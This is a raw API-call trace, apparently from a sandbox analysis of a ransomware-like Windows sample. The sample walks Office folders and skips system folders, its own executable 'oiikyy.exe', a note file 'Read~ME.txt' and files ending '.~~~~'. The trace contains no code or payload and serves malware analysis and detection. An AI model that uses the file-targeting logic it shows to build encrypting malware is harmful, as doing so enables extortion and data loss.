	[0075.983] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.983] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.985] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.985] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.985] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.985] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.985] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.985] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0075.985] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.985] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.985] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.985] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.985] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.985] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.985] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1
	[0075.985] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="Windows") returned -1
	[0075.985] lstrcmpW (lpString1="PowerPointMUI.XML", lpString2="oiikyy.exe") returned 1
	[0075.985] StrStrW (lpFirst="PowerPointMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.985] lstrcmpW (lpString1="PowerPointMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3fa6b8
	[0075.985] GetCurrentThreadId () returned 0x618
	[0075.985] RtlWakeConditionVariable () returned 0x365f48
	[0075.985] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.986] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.986] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.986] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.986] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.986] GetCurrentThreadId () returned 0x618
	[0075.986] RtlWakeConditionVariable () returned 0x365f48
	[0075.986] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.986] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3b35c8
	[0075.986] GetCurrentThreadId () returned 0x618
	[0075.986] RtlWakeConditionVariable () returned 0x365f48
	[0075.986] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="PRJPROR", cAlternateFileName="")) returned 1
	[0075.986] lstrcmpiW (lpString1="PRJPROR", lpString2="Windows") returned -1
	[0075.986] lstrcmpW (lpString1="PRJPROR", lpString2=".") returned 1
	[0075.986] lstrcmpW (lpString1="PRJPROR", lpString2="..") returned 1
	[0075.986] lstrcmpW (lpString1="PRJPROR", lpString2="AppData") returned 1
	[0075.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR", lpSrch="AppData") returned 0x0
	[0075.986] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.986] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR", lpString2="C:\\Windows") returned -1
	[0075.986] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.986] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR", lpString2="C:\\System Volume Information") returned -1
	[0075.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.191] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.191] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.191] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.191] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.191] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.191] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.191] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.192] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.192] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.192] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.192] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.192] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.192] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1
	[0076.192] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="Windows") returned -1
	[0076.192] lstrcmpW (lpString1="PrjProrWW.XML", lpString2="oiikyy.exe") returned 1
	[0076.192] StrStrW (lpFirst="PrjProrWW.XML", lpSrch=".~~~~") returned 0x0
	[0076.192] lstrcmpW (lpString1="PrjProrWW.XML", lpString2="Read~ME.txt") returned -1
	[0076.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.192] GetCurrentThreadId () returned 0x618
	[0076.227] RtlWakeConditionVariable () returned 0x365f48
	[0076.227] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.227] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.227] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.228] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.228] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3faef0
	[0076.228] GetCurrentThreadId () returned 0x618
	[0076.228] RtlWakeConditionVariable () returned 0x365f48
	[0076.228] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.228] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3faef0
	[0076.228] GetCurrentThreadId () returned 0x618
	[0076.228] RtlWakeConditionVariable () returned 0x365f48
	[0076.231] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1
	[0076.231] lstrcmpiW (lpString1="Project.en-us", lpString2="Windows") returned -1
	[0076.231] lstrcmpW (lpString1="Project.en-us", lpString2=".") returned 1
	[0076.231] lstrcmpW (lpString1="Project.en-us", lpString2="..") returned 1
	[0076.231] lstrcmpW (lpString1="Project.en-us", lpString2="AppData") returned 1
	[0076.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us", lpSrch="AppData") returned 0x0
	[0076.231] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.231] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us", lpString2="C:\\Windows") returned -1
	[0076.231] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.231] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us", lpString2="C:\\System Volume Information") returned -1
	[0076.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.261] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.261] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.261] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.261] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.261] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.261] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.261] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.261] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.261] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.261] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.261] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.261] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.261] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0076.261] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="Windows") returned -1
	[0076.261] lstrcmpW (lpString1="ProjectMUI.XML", lpString2="oiikyy.exe") returned 1
	[0076.261] StrStrW (lpFirst="ProjectMUI.XML", lpSrch=".~~~~") returned 0x0
	[0076.262] lstrcmpW (lpString1="ProjectMUI.XML", lpString2="Read~ME.txt") returned -1
	[0076.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0076.262] GetCurrentThreadId () returned 0x618
	[0076.262] RtlWakeConditionVariable () returned 0x365f48
	[0076.262] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.262] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.262] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.262] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.262] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.262] GetCurrentThreadId () returned 0x618
	[0076.262] RtlWakeConditionVariable () returned 0x365f48
	[0076.262] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.262] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.262] GetCurrentThreadId () returned 0x618
	[0076.262] RtlWakeConditionVariable () returned 0x365f48
	[0076.263] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0076.263] lstrcmpiW (lpString1="Proof.en", lpString2="Windows") returned -1
	[0076.263] lstrcmpW (lpString1="Proof.en", lpString2=".") returned 1
	[0076.263] lstrcmpW (lpString1="Proof.en", lpString2="..") returned 1
	[0076.263] lstrcmpW (lpString1="Proof.en", lpString2="AppData") returned 1
	[0076.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en", lpSrch="AppData") returned 0x0
	[0076.263] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.263] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en", lpString2="C:\\Windows") returned -1
	[0076.263] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.264] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en", lpString2="C:\\System Volume Information") returned -1
	[0076.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.264] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.267] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.267] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.267] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.267] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.267] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.267] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.267] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.267] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.267] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.267] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.267] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.267] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.267] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0076.267] lstrcmpiW (lpString1="Proof.XML", lpString2="Windows") returned -1
	[0076.267] lstrcmpW (lpString1="Proof.XML", lpString2="oiikyy.exe") returned 1
	[0076.267] StrStrW (lpFirst="Proof.XML", lpSrch=".~~~~") returned 0x0
	[0076.267] lstrcmpW (lpString1="Proof.XML", lpString2="Read~ME.txt") returned -1
	[0076.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3faef0
	[0076.267] GetCurrentThreadId () returned 0x618
	[0076.267] RtlWakeConditionVariable () returned 0x365f48
	[0076.267] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0076.267] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.268] GetCurrentThreadId () returned 0x618
	[0076.268] RtlWakeConditionVariable () returned 0x365f48
	[0076.269] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0076.269] lstrcmpiW (lpString1="Proof.es", lpString2="Windows") returned -1
	[0076.269] lstrcmpW (lpString1="Proof.es", lpString2=".") returned 1
	[0076.269] lstrcmpW (lpString1="Proof.es", lpString2="..") returned 1
	[0076.269] lstrcmpW (lpString1="Proof.es", lpString2="AppData") returned 1
	[0076.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es", lpSrch="AppData") returned 0x0
	[0076.269] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.269] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es", lpString2="C:\\Windows") returned -1
	[0076.269] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.269] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es", lpString2="C:\\System Volume Information") returned -1
	[0076.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.271] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.271] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.271] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.271] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
